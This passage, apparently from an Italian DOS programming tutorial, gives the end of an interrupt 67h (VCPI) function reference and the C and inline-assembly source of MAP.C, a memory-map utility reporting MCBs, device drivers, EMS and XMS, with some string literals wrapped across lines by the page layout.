      stack with at least 16 bytes available on entry. EAX, ESI, DS, ES, FS
      and GS are destroyed.
      The CPU continues execution in Protected Mode at address CS:EIP
      specified in the table.
      Interrupts are disabled on return.

Func: Switch from Protected Mode to V86 Mode (CALL FAR, AX=DE0Ch)
Call: CALL FAR

Input: AX=DE0Ch
      DS=segment selector
Return: ---
Notes: The stack has to be shifted in the first MB on entry. DS has to contain

a selector for a segment that includes the address area returned by function DE01h.
The function switches to V86 mode. Interrupt have to be disabled.
GDTR, IDTR, LDTR and TR are initialised by the Server. SS:ESP has to contain the following structure:

```
Offset      Meaning
-28h  GS
-24h  FS
-20h  DS
-1Ch  ES
-18h  SS
-14h  ESP
-10h  reserved
-0Ch  CS
-08h  EIP
 00h  return address
```

EAX is destroyed.

Ed ora ecco un bel programmino che usando l'interrupt 67h appena visto vi restitusce informazioni sulla memoria in tutte le salse.

```
// ----------------------------------------------------------------------------
//
//  File:       MAP.C
//  Compiler:   Borland C++ 3.1 (COMPACT model with byte alignment)
//  Notes:      Memory map.
//
// ----------------------------------------------------------------------------

// Include files --------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <mem.h>
#include <string.h>

// Constants ------------------------------------------------------------------
#define uchar         unsigned char
#define ushort        unsigned int
#define ulong         unsigned long

#define FALSE         0
#define TRUE          1

#define MAX_ITEM      150
#define MAX_VEC       100
#define MAX_DRIVE     20
#define MAX_HANDLE    255

#define MT_NONE       0
#define MT_SYSCODE    1
#define MT_SYSDATA    2
#define MT_PROGRAM    3
#define MT_DEVICE     4
#define MT_ENV        5
#define MT_DATA       6
#define MT_FREE       7
#define MT_MAP        8

#define NORMAL        0
#define UPPER         1

#define USAGE         "MAP 2.0, memory map utility\n" \
```

```
                     "Usage:   MAP [-option ...]\n" \
                     "Options:\n" \
                     "         -n    list of programs in normal memory
(default)\n" \
                     "         -u    list of programs in normal and upper
memory\n" \
                     "         -f    full list of memory blocks\n" \
                     "         -d    list of device drivers\n" \
                     "         -x    XMS report\n" \
                     "         -e    EMS report\n" \
                     "         -h,?  this text"

// Types ------------------------------------------------------------------

// Structure of device driver header.
typedef struct device_header {
   struct device_header *next;
   ushort attr;
   ushort strategy_rutin;
   ushort interrupt_rutin;
   uchar  name[8];
} DEVICE_HEADER;

// Structure of device driver information.
typedef struct {
   struct device_header *addr;
   uchar  devname[9];
   uchar  progname[9];
   ushort attr;
   uchar  drive_num;
   uchar  drives[MAX_DRIVE];
} DINFO;

// Structure of DOS DPB.
typedef struct dpb {
   uchar  drive_num;
   uchar  unit_number;
   ushort bytes_in_sector;
   uchar  lsec_num;
   uchar  log_base;
   ushort reserved_num;
   uchar  FAT_num;
   ushort rootentry_num;
   ushort first_sector;
   ushort largest_cluster;
   ushort sectors_in_FAT;
   ushort root_firstsector;
   DEVICE_HEADER *device_addr;
   uchar  media_desc;
   uchar  block_flag;
   struct dpb *next_dpb;
} DPB;

// Internal structure of DOS DATA blocks.
typedef struct {
   uchar type;
   ushort start;
   ushort size;
   uchar  unused[3];
   uchar  name[8];
} SD_HEADER;

// Stucture of MCB header.
```

```
typedef struct {
   uchar  type;
   ushort owner;
   ushort size;
   uchar  unused[3];
   uchar  name[8];
} MCB;

// Structure of programs, device drivers, memory blocks information.
typedef struct {
   uchar  type;
   ushort seg;
   ushort owner;
   ushort environment;
   uchar  name[10];
   ulong  size;
   uchar  vecnum;
   uchar  vectors[MAX_VEC];
} MINFO;

// Structure of allocated EMS handles.
typedef struct {
   ushort handle;
   ushort pages;
} EMS_HANDLE;

// Structure of allocated XMS handles.
typedef struct {
   ushort handle;
   ulong  size;
   ushort locks;
} XMS_HANDLE;

// Local variables ----------------------------------------------------------
static uchar  copyright[]=
   "Sulyok P,ter (C) 1992,1994.";

static MCB   *first_mcb=NULL;
static MINFO  mlist[MAX_ITEM];
static ushort mlistnum=0;
static DEVICE_HEADER *first_dev=NULL;
static DPB    *first_dpb=NULL;
static DINFO  dlist[MAX_ITEM];
static ushort dlistnum=0;
static uchar *typenames[]=
   {
    "             ",
    "system code  ",
    "system data  ",
    "program      ",
    "device driver",
    "environment  ",
    "data area    ",
    "free         ",
   };

static uchar  ems_installed=FALSE;
static uchar  ems_name[]="EMMXXXX0";
static ushort ems_frame=0;
static uchar  ems_vermajor=0;
static uchar  ems_verminor=0;
static ulong  ems_size=0L;
static ulong  ems_free=0L;
```

```
static ushort ems_totalhandle=0;
static ushort ems_freehandle=0;
static ushort ems_usehandle=0;
static EMS_HANDLE ems_handles[MAX_HANDLE];

static uchar  xms_installed=FALSE;
static void far (*xms_drv)(void);
static ulong  xms_free=0L;
static ulong  xms_largest=0L;
static uchar  xms_vermajor=0;
static uchar  xms_verminor=0;
static uchar  xms_hma=0;
static uchar  xms_a20=0;
static XMS_HANDLE xms_handles[MAX_HANDLE];
static ushort xms_usehandle=0;
static ushort xms_freehandle=0;

static uchar  upper_installed=FALSE;
static ulong  upper_free=0L;
static ulong  upper_large=0L;
static ushort upper_index=0;

// Local functions -----------------------------------------------------------
static void   check_ems(void);
static void   check_xms(void);
static void   check_upper(void);
static void   check_memory(void);
static uchar  get_upperlink(void);
static int    set_upperlink(uchar);
static void   search_vectors(MINFO *);
static void   search_sd(MCB *);
static void   register_mcb(MCB *);
static int    is_psp(MCB *);
static ushort env_seg(MCB *);
static void   make_mcb_list(void);
static void   make_dev_list(void);
static void   normal_list(uchar type);
static void   full_list(void);
static void   device_list(void);
static void   ems_list(void);
static void   xms_list(void);

// ---------------------------------------------------------------------------
//  Name:      check_ems
//  Input:     -
//  Output:    -
//  Notes:     Checks EMS memory and gets EMS parameters.
// ---------------------------------------------------------------------------
static void check_ems(void)
{
   void far *int67;

   int67=(void *)getvect(0x67);
   if (int67 == NULL)
      return;

   asm   push  ds
   asm   push  si
   asm   push  di
   asm   les   di,int67
   asm   mov   di,10
   asm   lea   si,ems_name
   asm   mov   cx,8
```

```
asm   cld
asm   repe  cmpsb
asm   pop   di
asm   pop   si
asm   pop   ds
asm   jz    _found
return;

_found:
ems_installed=TRUE;

asm   mov   ah,41h
asm   int   67h
asm   or    ah,ah
asm   jnz   _error
asm   mov   ems_frame,bx

asm   mov   ah,46h
asm   int   67h
asm   or    ah,ah
asm   jnz   _error
asm   mov   bl,al
asm   and   al,0fh
asm   and   bl,0f0h
asm   mov   cl,4
asm   shr   bl,cl
asm   mov   ems_vermajor,bl
asm   mov   ems_verminor,al

asm   mov   ah,42h
asm   int   67h
asm   or    ah,ah
asm   jnz   _error
asm   mov   word ptr ems_size,dx
asm   mov   word ptr ems_size[2],0
asm   mov   word ptr ems_free,bx
asm   mov   word ptr ems_free[2],0
ems_size*=16384L;
ems_free*=16384L;

asm   push  di
_ES=FP_SEG(&ems_handles);
_DI=FP_OFF(&ems_handles);
asm   mov   ah,4Dh
asm   int   67h
asm   pop   di
asm   or    ah,ah
asm   jnz   _error
asm   mov   ems_usehandle,bx

if (ems_vermajor >= 4) {
   asm   mov   ax,5402h
   asm   int   67h
   asm   or    ah,ah
   asm   jnz   _error
   asm   mov   ems_totalhandle,bx
} else {
   ems_totalhandle=ems_usehandle;
   }

ems_freehandle=ems_totalhandle - ems_usehandle;
return;
```

```
   _error:
   puts("EMS INTERNAL ERROR.");
   exit(1);
}

// ------------------------------------------------------------------------------
//  Name:      check_xms
//  Input:     -
//  Output:    -
//  Notes:     Checks XMS memory and gets XMS parameters.
// ------------------------------------------------------------------------------
static void check_xms(void)
{
   asm   mov   ax,4300h
   asm   int   2fh
   asm   cmp   al,80h
   asm   je    _found
   return;

   _found:
   xms_installed=TRUE;

   asm   mov   ax,4310h
   asm   int   2fh
   asm   mov   word ptr xms_drv,bx
   asm   mov   word ptr xms_drv[2],es

   asm   mov   ah,0
   (*xms_drv)();
   asm   mov   xms_vermajor,ah
   asm   mov   xms_verminor,al
   asm   mov   xms_hma,dl

   asm   mov   ah,8
   (*xms_drv)();
   asm   mov   word ptr xms_free,ax
   asm   mov   word ptr xms_free[2],0
   asm   mov   word ptr xms_largest,dx
   asm   mov   word ptr xms_largest[2],0
   xms_free*=1024L;
   xms_largest*=1024L;

   asm   mov   ah,7
   (*xms_drv)();
   asm   or    bl,bl
   asm   jnz   _error
   asm   mov   xms_a20,al
   return;

   _error:
   puts("XMS INTERNAL ERROR.");
   exit(1);
}

// ------------------------------------------------------------------------------
//  Name:      get_upperlink
//  Input:     -
//  Output:    uchar             0   separated upper and normal blocks
//                               1   linked upper and normal blocks
//  Notes:     Checks the connection of normal and upper memory blocks.
// ------------------------------------------------------------------------------
static uchar get_upperlink(void)
{
```

```
   asm   mov   ax,5802h
   asm   int   21h
   return(_AL);
}

// ----------------------------------------------------------------------------
//  Name:      set_upperlink
//  Input:     uchar link        0   separate it
//                               1   link it
//  Output:    int               1   successful
//                               0   there is no upper memory
//                              -1   system memory is trashed
//  Notes:     Set the connection between upper and normal memory
//             blocks.
// ----------------------------------------------------------------------------
static int set_upperlink(uchar link)
{
   asm   mov   ax,5803h
   asm   xor   bh,bh
   asm   mov   bl,link
   asm   int   21h
   asm   jc    _noumb

   return(1);

   _noumb:
   asm   cmp   ax,1
   asm   jne   _trash
   return(0);

   _trash:
   return(-1);
}

// ----------------------------------------------------------------------------
//  Name:      check_upper
//  Input:     -
//  Output:    -
//  Notes:     Checks upper memory.
// ----------------------------------------------------------------------------
static void check_upper(void)
{
   uchar origlink;

   origlink=get_upperlink();
   switch(set_upperlink(1)) {
      case 1:
         upper_installed=TRUE;
         break;

      case 0:
         upper_installed=FALSE;
         break;

      case -1:
         puts("SYSTEM MEMORY TRASHED!");
         exit(1);
         break;
      }
   set_upperlink(origlink);
}

// ----------------------------------------------------------------------------
```

```
//  Name:      check_memory
//  Input:     -
//  Output:    -
//  Notes:     Checks EMS, XMS, upper memory.
// -----------------------------------------------------------------------------
static void check_memory(void)
{
   check_ems();
   check_xms();
   check_upper();
}

// -----------------------------------------------------------------------------
//  Name:      is_psp
//  Input:     MCB *mcb       address of the MSC structure
//  Output:    int            TRUE  it is a program
//                            FALSE it is a simple MCB block
//  Notes:     Checks the PSP of given MCB block.
// -----------------------------------------------------------------------------
static int is_psp(MCB *mcb)
{
   asm   les   bx,mcb
   asm   mov   ax,es
   asm   inc   ax
   asm   mov   es,ax
   asm   mov   ax,TRUE
   asm   cmp   word ptr es:[bx],20CDh
   asm   je    __exit
   asm   mov   ax,FALSE

   __exit:
   return(_AX);
}

// -----------------------------------------------------------------------------
//  Name:      env_seg
//  Input:     MCB *mcb       address of MCB block
//  Output:    ushort         segment of enviroment
//  Notes:     Returns the segment of the given MCB block.
// -----------------------------------------------------------------------------
static ushort env_seg(MCB *mcb)
{
   MCB *env;

   asm   les   bx,mcb
   asm   mov   ax,es
   asm   inc   ax
   asm   mov   es,ax
   asm   mov   bx,ax
   asm   mov   ax,es:[2Ch]
   asm   dec   ax
   asm   mov   es,ax
   asm   inc   ax
   asm   cmp   es:[1],bx
   asm   je    __exit
   asm   mov   ax,0

   __exit:
   return(_AX);
}

// -----------------------------------------------------------------------------
//  Name:      search_vectors
```

```
//  Input:     MINFO *m       address of a memory block
//  Output:    -
//  Notes:     Searches interrupt vectors of the given memory block.
// -----------------------------------------------------------------------------
static void search_vectors(MINFO *m)
{
   ushort i;
   ulong  begin, end, iv;
   uchar far *ivp;

   begin=(ulong)(m->seg + 1) << 4;
   end=begin + m->size;
   for(i=0; i<256; i++) {
      memcpy(&ivp, MK_FP(0, i*4), 4);
      iv=((ulong)(FP_SEG(ivp) + 1) << 4) + (ulong)FP_OFF(ivp);
      if ((iv > begin) && (iv < end) && (m->vecnum < MAX_VEC))
         m->vectors[m->vecnum++]=(uchar)i;
      }
}

// -----------------------------------------------------------------------------
//  Name:      search_sd
//  Input:     MCB *mcb       address of MCB block
//  Output:    -
//  Notes:     Searches the internal parts of a DOS data block.
// -----------------------------------------------------------------------------
static void search_sd(MCB *mcb)
{
   ushort     begin, end;
   SD_HEADER *sd;

   sd=MK_FP(FP_SEG(mcb) + 1, 0);
   begin=FP_SEG(mcb);
   end=FP_SEG(mcb) + mcb->size;
   while((FP_SEG(sd) > begin) &&
         (FP_SEG(sd) < end) &&
         (mlistnum < MAX_ITEM)) {
      mlistnum++;
      mlist[mlistnum].seg=sd->start;
      mlist[mlistnum].size=(ulong)sd->size << 4;
      switch(sd->type) {
         case 'D':
         case 'I':
            mlist[mlistnum].name[0]=' ';
            strncpy(&mlist[mlistnum].name[1], sd->name, 8);
            strupr(mlist[mlistnum].name);
            mlist[mlistnum].type=MT_DEVICE;
            break;

         case 'F':
            strcpy(mlist[mlistnum].name, " FILES");
            mlist[mlistnum].type=MT_DATA;
            break;

         case 'X':
            strcpy(mlist[mlistnum].name, " FCBS");
            mlist[mlistnum].type=MT_DATA;
            break;

         case 'C':
         case 'B':
            strcpy(mlist[mlistnum].name, " BUFFERS");
            mlist[mlistnum].type=MT_DATA;
```

```
                break;

             case 'L':
                strcpy(mlist[mlistnum].name, " LASTDRV");
                mlist[mlistnum].type=MT_DATA;
                break;

             case 'S':
                strcpy(mlist[mlistnum].name, " STACKS");
                mlist[mlistnum].type=MT_DATA;
                break;

             default:
                strcpy(mlist[mlistnum].name, " ??????");
                mlist[mlistnum].type=MT_DATA;
                break;
             }
          sd=MK_FP(sd->start + sd->size, 0);
          }
}

// ----------------------------------------------------------------------------
//  Name:      check_name
//  Input:     uchar *name    name of MCB or device driver
//  Output:    -
//  Notes:     Filters name of MCBs and device drivers.
// ----------------------------------------------------------------------------
void check_name(uchar *name)
{
   ushort i;

   for(i=0; name[i]; i++)
      if ( name[i] < ' ' ) {
         name[i] = '\0';
         break;
         } // if
}

// ----------------------------------------------------------------------------
//  Name:      register_mcb
//  Input:     MCB *mcb       address of MCB block
//  Output:    -
//  Notes:     Registers parameters of the given MCB block.
// ----------------------------------------------------------------------------
static void register_mcb(MCB *mcb)
{
   mlist[mlistnum].seg=FP_SEG(mcb);
   mlist[mlistnum].owner=mcb->owner;
   mlist[mlistnum].size=(ulong)mcb->size << 4;

   if (mlist[mlistnum].seg <= 0x9FFF) {
      if (is_psp(mcb)) {
         strncpy(mlist[mlistnum].name, mcb->name, 8);
         check_name(mlist[mlistnum].name);
         strupr(mlist[mlistnum].name);
         mlist[mlistnum].environment=env_seg(mcb);
         mlist[mlistnum].type=MT_PROGRAM;
         }
      if (!mcb->owner) {
         mlist[mlistnum].type=MT_FREE;
      } else if (mcb->owner <= 0x0008) {
         strcpy(mlist[mlistnum].name, "DOS");
         if (!strncmp(mcb->name, "SD", 2)) {
```

```
         mlist[mlistnum].type=MT_SYSDATA;
         search_sd(mcb);
      } else if (!strncmp(mcb->name, "SC", 2)) {
         mlist[mlistnum].type=MT_SYSCODE;
         }
      else
         mlist[mlistnum].type=MT_SYSCODE;
      }

} else {
   if (!mcb->owner) {
      mlist[mlistnum].type=MT_FREE;
   } else if (mcb->owner <= 0x0008) {
      strcpy(mlist[mlistnum].name, "DOS");
      if (!strncmp(mcb->name, "SD", 2)) {
         mlist[mlistnum].type=MT_SYSDATA;
         search_sd(mcb);
      } else if (!strncmp(mcb->name, "SC", 2)) {
         mlist[mlistnum].type=MT_SYSCODE;
         }
   } else if (mcb->owner > 0x0008) {
      mlist[mlistnum].environment=env_seg(mcb);
      mlist[mlistnum].type=MT_PROGRAM;
      strncpy(mlist[mlistnum].name, mcb->name, 8);
      strupr(mlist[mlistnum].name);
      }
   }
}

// ----------------------------------------------------------------------------
//  Name:      make_mcb_list
//  Input:     -
//  Output:    -
//  Notes:     Makes the list of MCBs.
// ----------------------------------------------------------------------------
static void make_mcb_list(void)
{
   ushort i, j;
   MCB   *cur_mcb;
   uchar  origlink;

   memset(mlist, 0, sizeof(mlist));
   check_memory();

   asm   mov   ah,52h
   asm   int   21h
   asm   mov   ax,es:[bx-2]
   asm   mov   word ptr first_mcb[2],ax
   asm   mov   word ptr first_mcb,0

   if (upper_installed) {
      origlink=get_upperlink();
      set_upperlink(1);
      }

   cur_mcb=(MCB *)MK_FP(first_mcb, 0);
   while((mlistnum < MAX_ITEM) && (cur_mcb->type != 'Z')) {
      register_mcb(cur_mcb);
      cur_mcb=(MCB *)MK_FP(FP_SEG(cur_mcb) + cur_mcb->size + 1, 0);
      ++mlistnum;
      }

   register_mcb(cur_mcb);
```

```
   cur_mcb=(MCB *)MK_FP(FP_SEG(cur_mcb) + cur_mcb->size + 1, 0);
   ++mlistnum;

   if (upper_installed)
      set_upperlink(origlink);

   for(i=0; i<mlistnum; i++)
      if ( (mlist[i].seg >= 0x9000) && (mlist[i].seg <= 0xB000) &&
           (mlist[i].type == MT_SYSCODE) ) {
         upper_index=i;
         break;
         }

   for(i=upper_index; i<mlistnum; i++)
      if (mlist[i].type == MT_FREE) {
         upper_free+=mlist[i].size;
         if (mlist[i].size > upper_large)
            upper_large=mlist[i].size;
         }

   for(i=0; i<mlistnum; i++) {
      if (mlist[i].type == MT_PROGRAM)
         for(j=0; j<mlistnum; j++)
            if ((mlist[i].seg != mlist[j].seg) &&
                (mlist[j].owner == mlist[i].seg+1)) {
               strcpy(mlist[j].name, mlist[i].name);
               mlist[j].type=(mlist[i].environment == mlist[j].seg+1) ? MT_ENV :
MT_DATA;
               }
      if (mlist[i].type != MT_SYSDATA)
         search_vectors(&mlist[i]);
      }

   for(i=0; i<mlistnum; i++)
      if (mlist[i].seg+1 == _psp) {
         mlist[i+1].size+=mlist[i].size + 16;
         mlist[i].type=MT_MAP;
         for(j=0; j<mlistnum; j++)
            if (mlist[j].seg+1 == mlist[i].environment) {
               if (j == i-1) {
                  mlist[j].type=MT_MAP;
               } else {
                  mlist[j].type=MT_FREE;
                  mlist[j].name[0]='\0';
                  }
               break;
               }
         break;
         }
}

// ----------------------------------------------------------------------------
//  Name:      make_dev_list
//  Input:     -
//  Output:    -
//  Notes:     Makes list of device drivers.
// ----------------------------------------------------------------------------
static void make_dev_list(void)
{
   ushort         i, j;
   DEVICE_HEADER *cur_dev;
   DPB           *cur_dpb;
```

```
   memset(dlist, 0, sizeof(dlist));
   make_mcb_list();

   asm   mov   ah,52h
   asm   int   21h
   asm   add   bx,22h
   asm   mov   word ptr first_dev[2],es
   asm   mov   word ptr first_dev,bx

   cur_dev=first_dev;
   while((FP_OFF(cur_dev) != 0xFFFF) &&
         (dlistnum < MAX_ITEM)) {
      dlist[dlistnum].addr=cur_dev;
      dlist[dlistnum].attr=cur_dev->attr;
      strncpy(dlist[dlistnum].devname, cur_dev->name, 8);
      check_name(dlist[dlistnum].devname);
      strupr(dlist[dlistnum].devname);
      cur_dev=cur_dev->next;
      ++dlistnum;
      }

   for(i=0; i<dlistnum; i++)
      for(j=0; j<mlistnum; j++)
         if (mlist[j].seg == FP_SEG(dlist[i].addr))
            strcpy(dlist[i].progname, (mlist[j].name[0] == ' ') ?
                   &mlist[j].name[1] : mlist[j].name);

   asm   mov   ah,52h
   asm   int   21h
   asm   les   bx,es:[bx]
   asm   mov   word ptr first_dpb[2],es
   asm   mov   word ptr first_dpb,bx

   cur_dpb=first_dpb;
   while(FP_OFF(cur_dpb) != 0xFFFF) {
      for(i=0; i<dlistnum; i++)
         if (dlist[i].addr == cur_dpb->device_addr) {
            dlist[i].drives[dlist[i].drive_num++]=cur_dpb->drive_num+'A';
            break;
            }
      cur_dpb=cur_dpb->next_dpb;
      }

   for(i=0; i<dlistnum; i++) {
      if ((dlist[i].attr & 0x8000) == 0)
         dlist[i].devname[0]='\0';
      if (dlist[i].drive_num) {
         if (dlist[i].drive_num == 1)
            sprintf(dlist[i].devname, "%c:", dlist[i].drives[0]);
         else
            sprintf(dlist[i].devname, "%c: - %c:", dlist[i].drives[0],
                    dlist[i].drives[dlist[i].drive_num-1]);
         }
      }
}

// ---------------------------------------------------------------------------
//  Name:      normal_list
//  Input:     uchar type     type of list
//  Output:    -
//  Notes:     Displays the normal list of programs.
// ---------------------------------------------------------------------------
static void normal_list(uchar type)
```

```
{
   ushort i, num;

   make_mcb_list();

   puts("ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿");
   puts("³ mcb    size     name        type          ³");
   puts("ÃÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´");
   num=(upper_installed && (type == NORMAL)) ? upper_index : mlistnum;
   for(i=0; i<num; i++)
      if ((mlist[i].type == MT_SYSCODE) ||
          (mlist[i].type == MT_SYSDATA) ||
          (mlist[i].type == MT_FREE) ||
          (mlist[i].type == MT_PROGRAM) ||
          (mlist[i].type == MT_DEVICE))
         printf("³ %04x ³ %6lu ³ %-9s ³ %-13s ³\n",
                mlist[i].seg, mlist[i].size, mlist[i].name,
                typenames[mlist[i].type]);

   if (!ems_installed && !xms_installed && !upper_installed) {
      puts("ÀÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ");
      return;
      }

   puts("ÃÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´");

   if (ems_installed)
      printf("³  %8lu bytes free EMS memory           ³\n", ems_free);

   if (xms_installed)
      printf("³  %8lu bytes free XMS memory           ³\n", xms_free);

   if (upper_installed)
      printf("³  %8lu bytes free upper memory         ³\n", upper_free);

   puts("ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ");
}

// ----------------------------------------------------------------------------
//  Name:      full_list
//  Input:     -
//  Output:    -
//  Notes:     Displays full list of memory blocks.
// ----------------------------------------------------------------------------
static void full_list(void)
{
   ushort i, j, pos;
   uchar  line[81];

   make_mcb_list();


puts("ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
");
   puts("³ mcb    size     name        type            interrupt vectors
³");

puts("ÃÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
");
   for(i=0; i<mlistnum; i++)
      if (mlist[i].type != MT_MAP) {
         sprintf(line, "³ %04x ³ %6lu ³ %-9s ³ %-4s ³
³",
```

```
               mlist[i].seg, mlist[i].size, mlist[i].name,
               typenames[mlist[i].type]);
         for(j=1, pos=46; j<=mlist[i].vecnum; j++) {
            sprintf(&line[pos], "%02x", (int)mlist[i].vectors[j-1]);
            line[pos+2]=' ';
            if (!(j % 9) && ((j+1) <= mlist[i].vecnum)) {
               puts(line);
               strcpy(line, "³      ³        ³           ³               ³
³");
               pos=46;
            } else {
               pos+=3;
               }
            }
         puts(line);
         }

puts("ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
");
}

// ---------------------------------------------------------------------------
//  Name:      device_list
//  Input:     -
//  Output:    -
//  Notes:     Display the list of device drivers.
// ---------------------------------------------------------------------------
static void device_list(void)
{
   ushort i, num;

   make_dev_list();

   puts("ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿");
   puts("³ address     attr   name       program  ³");
   puts("ÃÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄ´");
       //  XXXX:XXXX   XXXX   XXXXXXXX   XXXXXXXX
   for(i=0; i<dlistnum; i++)
         printf("³ %Fp ³ %04x ³ %-8s ³ %-8s ³\n",
                dlist[i].addr, dlist[i].attr, dlist[i].devname,
                dlist[i].progname);

   puts("ÀÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÙ");
}

// ---------------------------------------------------------------------------
//  Name:      ems_list
//  Input:     -
//  Output:    -
//  Notes:     Displays the EMS report.
// ---------------------------------------------------------------------------
static void ems_list(void)
{
   ushort i;
   uchar *line, numstr[20];
   uchar  handlename[9];

   check_ems();

   puts("ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿");

   if (!ems_installed) {
```

```
         puts("³ EMS driver not installed in system. ³");
      } else {
         line="³ EMS driver version                  ³";
         sprintf(numstr, "%1i.%1i", (int)ems_vermajor, (int)ems_verminor);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         line="³ EMS page frame                      ³";
         sprintf(numstr, "%04X", ems_frame);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         line="³ Total EMS memory                    ³";
         sprintf(numstr, "%lu bytes", ems_size);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         line="³ Free EMS memory                     ³";
         sprintf(numstr, "%lu bytes", ems_free);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         line="³ Total handles                       ³";
         sprintf(numstr, "%u", ems_totalhandle);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         line="³ Free handles                        ³";
         sprintf(numstr, "%u", ems_freehandle);
         strncpy(&line[22], numstr, strlen(numstr));
         puts(line);

         puts("³                                     ³");
         puts("³  Handle  Pages  Size      Name      ³");
         puts("³ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³");
         for(i=0; i<ems_usehandle; i++) {
            memset(handlename, 0, sizeof(handlename));
            if (ems_vermajor >= 4) {
               if (ems_handles[i].handle == 0) {
                  strcpy(handlename, "SYSTEM");
               } else {
                  asm   push  di
                  _DX=ems_handles[i].handle;
                  _ES=FP_SEG(&handlename);
                  _DI=FP_OFF(&handlename);
                  asm   mov   ax,5300h
                  asm   int   67h
                  asm   pop   di
                  }
               strupr(handlename);
               }
            printf("³  %-7u %-6u %-9lu %-9s ³\n",
                   ems_handles[i].handle, ems_handles[i].pages,
                   (ulong)ems_handles[i].pages * 16384L, handlename);
            }

         }
      puts("ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ");
}

// ----------------------------------------------------------------------------
//  Name:      xms_list
//  Input:     -
```

```
//  Output:     -
//  Notes:      Displays the XMS report.
// ---------------------------------------------------------------------------
static void xms_list(void)
{
   ushort i;
   uchar *line, numstr[20];

   make_mcb_list();

   if (xms_installed) {
      printf("Testing XMS memory ...");
      memset(xms_handles, 0, sizeof(xms_handles));
      xms_usehandle=0;
      for(i=0; i<65535; i++) {
         asm   mov   ah,0Eh
         _DX=i;
         (*xms_drv)();
         asm   or    ax,ax
         asm   jnz   _found
         continue;

         _found:
         asm   mov   byte ptr xms_freehandle,bl
         if (xms_usehandle < MAX_HANDLE) {
            asm   push  di
            _ES=FP_SEG(&xms_handles);
            _DI=FP_OFF(&xms_handles);
            asm   mov   ax,xms_usehandle  //
xms_handles[xms_usehandle].handle=i;
            asm   mov   cl,3
            asm   shl   ax,cl
            asm   add   di,ax
            asm   mov   ax,i
            asm   mov   es:[di],ax
            asm   mov   es:[di+2],dx      //
xms_handles[xms_usehandle].size=_DX;
            asm   mov   es:[di+6],bh      //
xms_handles[xms_usehandle].locks=_BH;
            asm   pop   di
            xms_handles[xms_usehandle].size*=1024L;
            xms_usehandle++;
            }
         }
      printf("\r");
      }

   puts("ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿");

   if (!xms_installed) {
      puts("³ XMS driver not installed in system.    ³");
   } else {
      line="³ XMS driver version                     ³";
      sprintf(numstr, "%i.%i", (ushort)xms_vermajor, (ushort)xms_verminor);
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      line="³ HMA state                              ³";
      sprintf(numstr, "%s", (xms_hma) ? "exists" : "not exists");
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      line="³ A20 line state                         ³";
```

```
      sprintf(numstr, "%s", (xms_a20) ? "enabled" : "disabled");
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      line="³ Free XMS memory                        ³";
      sprintf(numstr, "%lu bytes", xms_free);
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      line="³ Largest free XMS block                 ³";
      sprintf(numstr, "%lu bytes", xms_largest);
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      line="³ Free handles                           ³";
      sprintf(numstr, "%u", xms_freehandle);
      strncpy(&line[26], numstr, strlen(numstr));
      puts(line);

      if (xms_usehandle) {
         puts("³                                        ³");
         puts("³  Block  Handle  Size     Locks         ³");
